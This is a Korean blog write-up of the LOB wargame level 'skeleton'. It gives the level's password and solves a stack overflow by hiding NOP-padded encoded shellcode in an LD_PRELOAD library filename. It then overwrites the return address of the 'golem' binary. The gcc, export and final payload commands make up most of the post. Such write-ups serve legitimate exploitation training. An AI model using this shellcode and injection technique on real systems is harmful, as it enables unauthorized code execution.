cgy12306
[LOB] skeleton 본문
ID : skeleton
PW : shellcoder
인자의 47번째 byte가 bf이어야 한다. 하지만 스택을 모두 초기화 시켜버린다.
이 문제는 LD_PRELOAD를 활용하는 문제이다. (너무 안풀려서 라이트업을 보고 풀었다...)
LD_PRELOAD는 프로세스가 공유 라이브러리를 로딩할 떄 LD_PRELOAD에 지정된 라이브러리를 가장 먼저 로딩한다.
우선 공유 라이브러리를 만들자.
c 파일을 만들어 준다.
이후 다음과 같은 방식으로 컴파일 해준다.
gcc -fPIC -shared a.c -o `python -c 'print "\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'`
LD_PRELOAD에 쉘코드를 담아준다.
export LD_PRELOAD="/home/skeleton/`python -c 'print "\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'`"
ret 주소에 bfbfbfbf를 넣어주고 덤프를 떠서 디버깅 해보자.
0xbffff5f4 지점에 쉘코드가 들어가 있는 것을 확인 할 수 있다.
RET에 적당히 NOP이 들어가 있는 주소를 넣자.
최종 페이로드는 이렇다.
./golem `python -c 'print "A"*44 +"\xe0\xf5\xff\xbf"'`
'Wargame > LOB' 카테고리의 다른 글
[LOB] darkknight (0) | 2019.09.30 |
---|---|
[LOB] golem (0) | 2019.09.30 |
[LOB] vampire (0) | 2019.07.19 |
[LOB] troll (0) | 2019.07.16 |
[LOB] orge (0) | 2019.07.16 |
Comments